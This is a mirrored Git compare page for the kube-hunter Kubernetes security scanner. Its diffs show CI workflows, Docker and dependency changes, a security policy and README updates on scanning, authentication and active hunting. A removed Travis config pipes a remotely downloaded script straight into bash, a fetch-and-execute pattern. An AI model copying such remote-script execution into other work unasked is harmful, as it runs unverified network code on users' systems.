mirror of
https://github.com/aquasecurity/kube-hunter.git
synced 2026-02-14 18:09:56 +00:00
Compare commits
56 Commits
add_plugin
...
documentat
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d90c99c766 | ||
|
|
c45f6122c3 | ||
|
|
5597020dc1 | ||
|
|
83b19d4208 | ||
|
|
473e4fe2b5 | ||
|
|
f67f08225c | ||
|
|
c96312b91e | ||
|
|
a7d26452fb | ||
|
|
e63efddf9f | ||
|
|
6689005544 | ||
|
|
0b90e0e43d | ||
|
|
65eefed721 | ||
|
|
599e9967e3 | ||
|
|
5745f4a32b | ||
|
|
1a26653007 | ||
|
|
cdd9f9d432 | ||
|
|
99678f3cac | ||
|
|
cdbc3dc12b | ||
|
|
d208b43532 | ||
|
|
42250d9f62 | ||
|
|
d94d86a4c1 | ||
|
|
a1c2c3ee3e | ||
|
|
6aeee7f49d | ||
|
|
f95df8172b | ||
|
|
a3ad928f29 | ||
|
|
22d6676e08 | ||
|
|
b9e0ef30e8 | ||
|
|
693d668d0a | ||
|
|
2e4684658f | ||
|
|
f5e8b14818 | ||
|
|
05094a9415 | ||
|
|
8acedf2e7d | ||
|
|
14ca1b8bce | ||
|
|
5a578fd8ab | ||
|
|
bf7023d01c | ||
|
|
d7168af7d5 | ||
|
|
35873baa12 | ||
|
|
a476d9383f | ||
|
|
6a3c7a885a | ||
|
|
b6be309651 | ||
|
|
0d5b3d57d3 | ||
|
|
69057acf9b | ||
|
|
e63200139e | ||
|
|
ad4cfe1c11 | ||
|
|
24b5a709ad | ||
|
|
9cadc0ee41 | ||
|
|
3950a1c2f2 | ||
|
|
7530e6fee3 | ||
|
|
72ae8c0719 | ||
|
|
b341124c20 | ||
|
|
3e06647b4c | ||
|
|
cd1f79a658 | ||
|
|
2428e2e869 | ||
|
|
daf53cb484 | ||
|
|
d6ca666447 | ||
|
|
3ba926454a |
2
.github/PULL_REQUEST_TEMPLATE.md
vendored
2
.github/PULL_REQUEST_TEMPLATE.md
vendored
@@ -7,7 +7,7 @@
|
||||
Please include a summary of the change and which issue is fixed. Also include relevant motivation and context. List any dependencies that are required for this change.
|
||||
|
||||
## Contribution Guidelines
|
||||
Please Read through the [Contribution Guidelines](https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md).
|
||||
Please Read through the [Contribution Guidelines](https://github.com/aquasecurity/kube-hunter/blob/main/CONTRIBUTING.md).
|
||||
|
||||
## Fixed Issues
|
||||
|
||||
|
||||
14
.github/workflows/lint.yml
vendored
Normal file
14
.github/workflows/lint.yml
vendored
Normal file
@@ -0,0 +1,14 @@
|
||||
---
|
||||
name: Lint
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-20.04
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- uses: actions/setup-python@v2
|
||||
- uses: pre-commit/action@v2.0.0
|
||||
- uses: ibiqlik/action-yamllint@v3
|
||||
94
.github/workflows/publish.yml
vendored
Normal file
94
.github/workflows/publish.yml
vendored
Normal file
@@ -0,0 +1,94 @@
|
||||
---
|
||||
name: Publish
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- "v*"
|
||||
env:
|
||||
ALIAS: aquasecurity
|
||||
REP: kube-hunter
|
||||
jobs:
|
||||
dockerhub:
|
||||
name: Publish To Docker Hub
|
||||
runs-on: ubuntu-18.04
|
||||
steps:
|
||||
- name: Check Out Repo
|
||||
uses: actions/checkout@v2
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v1
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v1
|
||||
- name: Cache Docker layers
|
||||
uses: actions/cache@v2
|
||||
with:
|
||||
path: /tmp/.buildx-cache
|
||||
key: ${{ runner.os }}-buildxarch-${{ github.sha }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-buildxarch-
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USER }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
- name: Login to ECR
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: public.ecr.aws
|
||||
username: ${{ secrets.ECR_ACCESS_KEY_ID }}
|
||||
password: ${{ secrets.ECR_SECRET_ACCESS_KEY }}
|
||||
- name: Get version
|
||||
id: get_version
|
||||
uses: crazy-max/ghaction-docker-meta@v1
|
||||
with:
|
||||
images: ${{ env.REP }}
|
||||
tag-semver: |
|
||||
{{version}}
|
||||
|
||||
- name: Build and push - Docker/ECR
|
||||
id: docker_build
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64
|
||||
builder: ${{ steps.buildx.outputs.name }}
|
||||
push: true
|
||||
tags: |
|
||||
${{ secrets.DOCKERHUB_USER }}/${{ env.REP }}:${{ steps.get_version.outputs.version }}
|
||||
public.ecr.aws/${{ env.ALIAS }}/${{ env.REP }}:${{ steps.get_version.outputs.version }}
|
||||
${{ secrets.DOCKERHUB_USER }}/${{ env.REP }}:latest
|
||||
public.ecr.aws/${{ env.ALIAS }}/${{ env.REP }}:latest
|
||||
cache-from: type=local,src=/tmp/.buildx-cache/release
|
||||
cache-to: type=local,mode=max,dest=/tmp/.buildx-cache/release
|
||||
|
||||
- name: Image digest
|
||||
run: echo ${{ steps.docker_build.outputs.digest }}
|
||||
|
||||
pypi:
|
||||
name: Publish To PyPI
|
||||
runs-on: ubuntu-18.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: '3.9'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install -U pip
|
||||
python -m pip install -r requirements-dev.txt
|
||||
|
||||
- name: Build project
|
||||
shell: bash
|
||||
run: |
|
||||
python -m pip install wheel
|
||||
make build
|
||||
|
||||
- name: Publish distribution package to PyPI
|
||||
if: startsWith(github.ref, 'refs/tags')
|
||||
uses: pypa/gh-action-pypi-publish@master
|
||||
with:
|
||||
password: ${{ secrets.PYPI_API_TOKEN }}
|
||||
53
.github/workflows/release.yml
vendored
Normal file
53
.github/workflows/release.yml
vendored
Normal file
@@ -0,0 +1,53 @@
|
||||
---
|
||||
on:
|
||||
push:
|
||||
# Sequence of patterns matched against refs/tags
|
||||
tags:
|
||||
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
|
||||
|
||||
name: Release
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Upload Release Asset
|
||||
runs-on: ubuntu-16.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: '3.9'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install -U pip
|
||||
python -m pip install -r requirements-dev.txt
|
||||
|
||||
- name: Build project
|
||||
shell: bash
|
||||
run: |
|
||||
make pyinstaller
|
||||
|
||||
- name: Create Release
|
||||
id: create_release
|
||||
uses: actions/create-release@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
tag_name: ${{ github.ref }}
|
||||
release_name: ${{ github.ref }}
|
||||
draft: false
|
||||
prerelease: false
|
||||
|
||||
- name: Upload Release Asset
|
||||
id: upload-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./dist/kube-hunter
|
||||
asset_name: kube-hunter-linux-x86_64-${{ github.ref }}
|
||||
asset_content_type: application/octet-stream
|
||||
55
.github/workflows/test.yml
vendored
Normal file
55
.github/workflows/test.yml
vendored
Normal file
@@ -0,0 +1,55 @@
|
||||
---
|
||||
name: Test
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
env:
|
||||
FORCE_COLOR: 1
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
python-version: ["3.6", "3.7", "3.8", "3.9"]
|
||||
os: [ubuntu-20.04, ubuntu-18.04, ubuntu-16.04]
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: Get pip cache dir
|
||||
id: pip-cache
|
||||
run: |
|
||||
echo "::set-output name=dir::$(pip cache dir)"
|
||||
|
||||
- name: Cache
|
||||
uses: actions/cache@v2
|
||||
with:
|
||||
path: ${{ steps.pip-cache.outputs.dir }}
|
||||
key:
|
||||
${{ matrix.os }}-${{ matrix.python-version }}-${{ hashFiles('requirements-dev.txt') }}
|
||||
restore-keys: |
|
||||
${{ matrix.os }}-${{ matrix.python-version }}-
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install -U pip
|
||||
python -m pip install -U wheel
|
||||
python -m pip install -r requirements.txt
|
||||
python -m pip install -r requirements-dev.txt
|
||||
|
||||
- name: Test
|
||||
shell: bash
|
||||
run: |
|
||||
make test
|
||||
|
||||
- name: Upload coverage
|
||||
uses: codecov/codecov-action@v1
|
||||
with:
|
||||
name: ${{ matrix.os }} Python ${{ matrix.python-version }}
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -24,6 +24,7 @@ var/
|
||||
*.egg
|
||||
*.spec
|
||||
.eggs
|
||||
pip-wheel-metadata
|
||||
|
||||
# Directory Cache Files
|
||||
.DS_Store
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
---
|
||||
repos:
|
||||
- repo: https://github.com/psf/black
|
||||
rev: stable
|
||||
hooks:
|
||||
- id: black
|
||||
- repo: https://gitlab.com/pycqa/flake8
|
||||
rev: 3.7.9
|
||||
hooks:
|
||||
- id: flake8
|
||||
additional_dependencies: [flake8-bugbear]
|
||||
- repo: https://github.com/psf/black
|
||||
rev: stable
|
||||
hooks:
|
||||
- id: black
|
||||
- repo: https://gitlab.com/pycqa/flake8
|
||||
rev: 3.7.9
|
||||
hooks:
|
||||
- id: flake8
|
||||
additional_dependencies: [flake8-bugbear]
|
||||
|
||||
20
.travis.yml
20
.travis.yml
@@ -1,20 +0,0 @@
|
||||
group: travis_latest
|
||||
language: python
|
||||
cache: pip
|
||||
python:
|
||||
- "3.6"
|
||||
- "3.7"
|
||||
- "3.8"
|
||||
install:
|
||||
- pip install -r requirements.txt
|
||||
- pip install -r requirements-dev.txt
|
||||
before_script:
|
||||
- make lint-check
|
||||
script:
|
||||
- make test
|
||||
after_success:
|
||||
- bash <(curl -s https://codecov.io/bash)
|
||||
notifications:
|
||||
email:
|
||||
on_success: change
|
||||
on_failure: always
|
||||
6
.yamllint
Normal file
6
.yamllint
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
extends: default
|
||||
|
||||
rules:
|
||||
line-length: disable
|
||||
truthy: disable
|
||||
10
Dockerfile
10
Dockerfile
@@ -16,4 +16,14 @@ RUN make deps
|
||||
COPY . .
|
||||
RUN make install
|
||||
|
||||
FROM python:3.8-alpine
|
||||
|
||||
RUN apk add --no-cache \
|
||||
tcpdump \
|
||||
ebtables && \
|
||||
apk upgrade --no-cache
|
||||
|
||||
COPY --from=builder /usr/local/lib/python3.8/site-packages /usr/local/lib/python3.8/site-packages
|
||||
COPY --from=builder /usr/local/bin/kube-hunter /usr/local/bin/kube-hunter
|
||||
|
||||
ENTRYPOINT ["kube-hunter"]
|
||||
|
||||
106
README.md
106
README.md
@@ -1,40 +1,68 @@
|
||||

|
||||

|
||||
|
||||
[](https://travis-ci.org/aquasecurity/kube-hunter)
|
||||
[](https://codecov.io/gh/aquasecurity/kube-hunter)
|
||||
[![GitHub Release][release-img]][release]
|
||||
![Downloads][download]
|
||||
![Docker Pulls][docker-pull]
|
||||
[](https://github.com/aquasecurity/kube-hunter/actions)
|
||||
[](https://codecov.io/gh/aquasecurity/kube-hunter)
|
||||
[](https://github.com/psf/black)
|
||||
[](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE)
|
||||
[](https://github.com/aquasecurity/kube-hunter/blob/main/LICENSE)
|
||||
[](https://microbadger.com/images/aquasec/kube-hunter "Get your own image badge on microbadger.com")
|
||||
|
||||
|
||||
[download]: https://img.shields.io/github/downloads/aquasecurity/kube-hunter/total?logo=github
|
||||
[release-img]: https://img.shields.io/github/release/aquasecurity/kube-hunter.svg?logo=github
|
||||
[release]: https://github.com/aquasecurity/kube-hunter/releases
|
||||
[docker-pull]: https://img.shields.io/docker/pulls/aquasec/kube-hunter?logo=docker&label=docker%20pulls%20%2F%20kube-hunter
|
||||
|
||||
kube-hunter hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments. **You should NOT run kube-hunter on a Kubernetes cluster that you don't own!**
|
||||
|
||||
**Run kube-hunter**: kube-hunter is available as a container (aquasec/kube-hunter), and we also offer a web site at [kube-hunter.aquasec.com](https://kube-hunter.aquasec.com) where you can register online to receive a token allowing you to see and share the results online. You can also run the Python code yourself as described below.
|
||||
|
||||
**Explore vulnerabilities**: The kube-hunter knowledge base includes articles about discoverable vulnerabilities and issues. When kube-hunter reports an issue, it will show its VID (Vulnerability ID) so you can look it up in the KB at https://aquasecurity.github.io/kube-hunter/
|
||||
**Explore vulnerabilities**: The kube-hunter knowledge base includes articles about discoverable vulnerabilities and issues. When kube-hunter reports an issue, it will show its VID (Vulnerability ID) so you can look it up in the KB at https://aquasecurity.github.io/kube-hunter/
|
||||
_If you're interested in kube-hunter's integration with the Kubernetes ATT&CK Matrix [Continue Reading](#kuberentes-attck-matrix)_
|
||||
|
||||
**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](kube_hunter/CONTRIBUTING.md).
|
||||
**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](https://github.com/aquasecurity/kube-hunter/blob/main/CONTRIBUTING.md).
|
||||
|
||||
[](https://youtu.be/s2-6rTkH8a8?t=57s)
|
||||
[](https://youtu.be/s2-6rTkH8a8?t=57s)
|
||||
|
||||
Table of Contents
|
||||
=================
|
||||
|
||||
* [Hunting](#hunting)
|
||||
* [Where should I run kube-hunter?](#where-should-i-run-kube-hunter)
|
||||
* [Scanning options](#scanning-options)
|
||||
* [Active Hunting](#active-hunting)
|
||||
* [List of tests](#list-of-tests)
|
||||
* [Nodes Mapping](#nodes-mapping)
|
||||
* [Output](#output)
|
||||
* [Dispatching](#dispatching)
|
||||
* [Deployment](#deployment)
|
||||
* [On Machine](#on-machine)
|
||||
* [Prerequisites](#prerequisites)
|
||||
* [Container](#container)
|
||||
* [Pod](#pod)
|
||||
|
||||
- [Table of Contents](#table-of-contents)
|
||||
- [Kuberentes ATT&CK Matrix](#kuberentes-attck-matrix)
|
||||
- [Hunting](#hunting)
|
||||
- [Where should I run kube-hunter?](#where-should-i-run-kube-hunter)
|
||||
- [Scanning options](#scanning-options)
|
||||
- [Authentication](#authentication)
|
||||
- [Active Hunting](#active-hunting)
|
||||
- [List of tests](#list-of-tests)
|
||||
- [Nodes Mapping](#nodes-mapping)
|
||||
- [Output](#output)
|
||||
- [Dispatching](#dispatching)
|
||||
- [Advanced Usage](#advanced-usage)
|
||||
- [Azure Quick Scanning](#azure-quick-scanning)
|
||||
- [Deployment](#deployment)
|
||||
- [On Machine](#on-machine)
|
||||
- [Prerequisites](#prerequisites)
|
||||
- [Install with pip](#install-with-pip)
|
||||
- [Run from source](#run-from-source)
|
||||
- [Container](#container)
|
||||
- [Pod](#pod)
|
||||
- [Contribution](#contribution)
|
||||
- [License](#license)
|
||||
|
||||
---
|
||||
## Kuberentes ATT&CK Matrix
|
||||
kube-hunter now supports the new format of the Kubernetes ATT&CK matrix.
|
||||
While kube-hunter's vulnerabilities are a collection of creative techniques designed to mimic an attacker in the cluster (or outside it)
|
||||
The Mitre's ATT&CK defines a more general standardised categories of techniques to do so.
|
||||
|
||||
You can think of kube-hunter vulnerabilities as small steps for an attacker, which follows the track of a more general technique he would aim for.
|
||||
Most of kube-hunter's hunters and vulnerabilities can closly fall under those techniques, That's why we moved to follow the Matrix standard.
|
||||
|
||||
_Some kube-hunter vulnerabities which we could not map to Mitre technique, are prefixed with the `General` keyword_
|
||||

|
||||
|
||||
## Hunting
|
||||
|
||||
### Where should I run kube-hunter?
|
||||
@@ -45,7 +73,8 @@ Run kube-hunter on any machine (including your laptop), select Remote scanning a
|
||||
|
||||
You can run kube-hunter directly on a machine in the cluster, and select the option to probe all the local network interfaces.
|
||||
|
||||
You can also run kube-hunter in a pod within the cluster. This indicates how exposed your cluster would be if one of your application pods is compromised (through a software vulnerability, for example).
|
||||
You can also run kube-hunter in a pod within the cluster. This indicates how exposed your cluster would be if one of your application pods is compromised (through a software vulnerability, for example). (_`--pod` flag_)
|
||||
|
||||
|
||||
### Scanning options
|
||||
|
||||
@@ -68,6 +97,26 @@ To specify interface scanning, you can use the `--interface` option (this will s
|
||||
To specify a specific CIDR to scan, use the `--cidr` option. Example:
|
||||
`kube-hunter --cidr 192.168.0.0/24`
|
||||
|
||||
4. **Kubernetes node auto-discovery**
|
||||
|
||||
Set `--k8s-auto-discover-nodes` flag to query Kubernetes for all nodes in the cluster, and then attempt to scan them all. By default, it will use [in-cluster config](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) to connect to the Kubernetes API. If you'd like to use an explicit kubeconfig file, set `--kubeconfig /location/of/kubeconfig/file`.
|
||||
|
||||
Also note, that this is always done when using `--pod` mode.
|
||||
|
||||
### Authentication
|
||||
In order to mimic an attacker in it's early stages, kube-hunter requires no authentication for the hunt.
|
||||
|
||||
* **Impersonate** - You can provide kube-hunter with a specific service account token to use when hunting by manually passing the JWT Bearer token of the service-account secret with the `--service-account-token` flag.
|
||||
|
||||
Example:
|
||||
```bash
|
||||
$ kube-hunter --active --service-account-token eyJhbGciOiJSUzI1Ni...
|
||||
```
|
||||
|
||||
* When runing with `--pod` flag, kube-hunter uses the service account token [mounted inside the pod](https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/) to authenticate to services it finds during the hunt.
|
||||
* if specified, `--service-account-token` flag takes priority when running as a pod
|
||||
|
||||
|
||||
### Active Hunting
|
||||
|
||||
Active hunting is an option in which kube-hunter will exploit vulnerabilities it finds, to explore for further vulnerabilities.
|
||||
@@ -107,6 +156,12 @@ Available dispatch methods are:
|
||||
* KUBEHUNTER_HTTP_DISPATCH_URL (defaults to: https://localhost)
|
||||
* KUBEHUNTER_HTTP_DISPATCH_METHOD (defaults to: POST)
|
||||
|
||||
|
||||
### Advanced Usage
|
||||
#### Azure Quick Scanning
|
||||
When running **as a Pod in an Azure or AWS environment**, kube-hunter will fetch subnets from the Instance Metadata Service. Naturally this makes the discovery process take longer.
|
||||
To hardlimit subnet scanning to a `/24` CIDR, use the `--quick` option.
|
||||
|
||||
## Deployment
|
||||
There are three methods for deploying kube-hunter:
|
||||
|
||||
@@ -174,5 +229,8 @@ The example `job.yaml` file defines a Job that will run kube-hunter in a pod, us
|
||||
* Find the pod name with `kubectl describe job kube-hunter`
|
||||
* View the test results with `kubectl logs <pod name>`
|
||||
|
||||
## Contribution
|
||||
To read the contribution guidelines, <a href="https://github.com/aquasecurity/kube-hunter/blob/main/CONTRIBUTING.md"> Click here </a>
|
||||
|
||||
## License
|
||||
This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE).
|
||||
This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/main/LICENSE).
|
||||
|
||||
17
SECURITY.md
Normal file
17
SECURITY.md
Normal file
@@ -0,0 +1,17 @@
|
||||
# Security Policy
|
||||
|
||||
## Supported Versions
|
||||
|
||||
| Version | Supported |
|
||||
| --------- | ------------------ |
|
||||
| 0.4.x | :white_check_mark: |
|
||||
| 0.3.x | :white_check_mark: |
|
||||
|
||||
## Reporting a Vulnerability
|
||||
We encourage you to find vulnerabilities in kube-hunter.
|
||||
The process is simple, just report a Bug issue. and we will take a look at this.
|
||||
If you prefer to disclose privately, you can write to one of the security maintainers at:
|
||||
|
||||
| Name | Email |
|
||||
| ----------- | ------------------ |
|
||||
| Daniel Sagi | daniel.sagi@aquasec.com |
|
||||
@@ -1,11 +1,12 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (4.2.11.1)
|
||||
i18n (~> 0.7)
|
||||
activesupport (6.0.3.4)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 0.7, < 2)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
zeitwerk (~> 2.2, >= 2.2.2)
|
||||
addressable (2.7.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
coffee-script (2.4.1)
|
||||
@@ -15,65 +16,67 @@ GEM
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.17.13)
|
||||
ruby-enum (~> 0.5)
|
||||
concurrent-ruby (1.1.5)
|
||||
dnsruby (1.61.3)
|
||||
addressable (~> 2.5)
|
||||
em-websocket (0.5.1)
|
||||
concurrent-ruby (1.1.7)
|
||||
dnsruby (1.61.5)
|
||||
simpleidn (~> 0.1)
|
||||
em-websocket (0.5.2)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0.6.0)
|
||||
ethon (0.12.0)
|
||||
ffi (>= 1.3.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.7.0)
|
||||
faraday (0.17.0)
|
||||
faraday (1.3.0)
|
||||
faraday-net_http (~> 1.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.11.1)
|
||||
ruby2_keywords
|
||||
faraday-net_http (1.0.1)
|
||||
ffi (1.14.2)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (201)
|
||||
activesupport (= 4.2.11.1)
|
||||
github-pages (209)
|
||||
github-pages-health-check (= 1.16.1)
|
||||
jekyll (= 3.8.5)
|
||||
jekyll-avatar (= 0.6.0)
|
||||
jekyll (= 3.9.0)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.1.6)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.11.0)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
|
||||
jekyll-github-metadata (= 2.12.1)
|
||||
jekyll-mentions (= 1.4.1)
|
||||
jekyll-optional-front-matter (= 0.3.0)
|
||||
jekyll-github-metadata (= 2.13.0)
|
||||
jekyll-mentions (= 1.6.0)
|
||||
jekyll-optional-front-matter (= 0.3.2)
|
||||
jekyll-paginate (= 1.1.0)
|
||||
jekyll-readme-index (= 0.2.0)
|
||||
jekyll-redirect-from (= 0.14.0)
|
||||
jekyll-relative-links (= 0.6.0)
|
||||
jekyll-remote-theme (= 0.4.0)
|
||||
jekyll-readme-index (= 0.3.0)
|
||||
jekyll-redirect-from (= 0.16.0)
|
||||
jekyll-relative-links (= 0.6.1)
|
||||
jekyll-remote-theme (= 0.4.2)
|
||||
jekyll-sass-converter (= 1.5.2)
|
||||
jekyll-seo-tag (= 2.5.0)
|
||||
jekyll-sitemap (= 1.2.0)
|
||||
jekyll-swiss (= 0.4.0)
|
||||
jekyll-seo-tag (= 2.6.1)
|
||||
jekyll-sitemap (= 1.4.0)
|
||||
jekyll-swiss (= 1.0.0)
|
||||
jekyll-theme-architect (= 0.1.1)
|
||||
jekyll-theme-cayman (= 0.1.1)
|
||||
jekyll-theme-dinky (= 0.1.1)
|
||||
jekyll-theme-hacker (= 0.1.1)
|
||||
jekyll-theme-hacker (= 0.1.2)
|
||||
jekyll-theme-leap-day (= 0.1.1)
|
||||
jekyll-theme-merlot (= 0.1.1)
|
||||
jekyll-theme-midnight (= 0.1.1)
|
||||
jekyll-theme-minimal (= 0.1.1)
|
||||
jekyll-theme-modernist (= 0.1.1)
|
||||
jekyll-theme-primer (= 0.5.3)
|
||||
jekyll-theme-primer (= 0.5.4)
|
||||
jekyll-theme-slate (= 0.1.1)
|
||||
jekyll-theme-tactile (= 0.1.1)
|
||||
jekyll-theme-time-machine (= 0.1.1)
|
||||
jekyll-titles-from-headings (= 0.5.1)
|
||||
jemoji (= 0.10.2)
|
||||
kramdown (= 1.17.0)
|
||||
liquid (= 4.0.0)
|
||||
listen (= 3.1.5)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.0)
|
||||
kramdown-parser-gfm (= 1.1.0)
|
||||
liquid (= 4.0.3)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.0)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.10.4, < 2.0)
|
||||
rouge (= 3.11.0)
|
||||
rouge (= 3.23.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.16.1)
|
||||
addressable (~> 2.3)
|
||||
@@ -81,27 +84,27 @@ GEM
|
||||
octokit (~> 4.0)
|
||||
public_suffix (~> 3.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.12.0)
|
||||
html-pipeline (2.14.0)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.8.5)
|
||||
jekyll (3.9.0)
|
||||
addressable (~> 2.4)
|
||||
colorator (~> 1.0)
|
||||
em-websocket (~> 0.5)
|
||||
i18n (~> 0.7)
|
||||
jekyll-sass-converter (~> 1.0)
|
||||
jekyll-watch (~> 2.0)
|
||||
kramdown (~> 1.14)
|
||||
kramdown (>= 1.17, < 3)
|
||||
liquid (~> 4.0)
|
||||
mercenary (~> 0.3.3)
|
||||
pathutil (~> 0.9)
|
||||
rouge (>= 1.7, < 4)
|
||||
safe_yaml (~> 1.0)
|
||||
jekyll-avatar (0.6.0)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-avatar (0.7.0)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-coffeescript (1.1.1)
|
||||
coffee-script (~> 2.2)
|
||||
coffee-script-source (~> 1.11.1)
|
||||
@@ -114,36 +117,37 @@ GEM
|
||||
rouge (>= 2.0, < 4.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-feed (0.11.0)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-feed (0.15.1)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-gist (1.5.0)
|
||||
octokit (~> 4.2)
|
||||
jekyll-github-metadata (2.12.1)
|
||||
jekyll (~> 3.4)
|
||||
jekyll-github-metadata (2.13.0)
|
||||
jekyll (>= 3.4, < 5.0)
|
||||
octokit (~> 4.0, != 4.4.0)
|
||||
jekyll-mentions (1.4.1)
|
||||
jekyll-mentions (1.6.0)
|
||||
html-pipeline (~> 2.3)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-optional-front-matter (0.3.0)
|
||||
jekyll (~> 3.0)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-optional-front-matter (0.3.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-paginate (1.1.0)
|
||||
jekyll-readme-index (0.2.0)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-redirect-from (0.14.0)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-relative-links (0.6.0)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-remote-theme (0.4.0)
|
||||
jekyll-readme-index (0.3.0)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-redirect-from (0.16.0)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-relative-links (0.6.1)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-remote-theme (0.4.2)
|
||||
addressable (~> 2.0)
|
||||
jekyll (~> 3.5)
|
||||
rubyzip (>= 1.2.1, < 3.0)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
|
||||
rubyzip (>= 1.3.0, < 3.0)
|
||||
jekyll-sass-converter (1.5.2)
|
||||
sass (~> 3.4)
|
||||
jekyll-seo-tag (2.5.0)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-sitemap (1.2.0)
|
||||
jekyll (~> 3.3)
|
||||
jekyll-swiss (0.4.0)
|
||||
jekyll-seo-tag (2.6.1)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-sitemap (1.4.0)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-swiss (1.0.0)
|
||||
jekyll-theme-architect (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
@@ -153,8 +157,8 @@ GEM
|
||||
jekyll-theme-dinky (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-hacker (0.1.1)
|
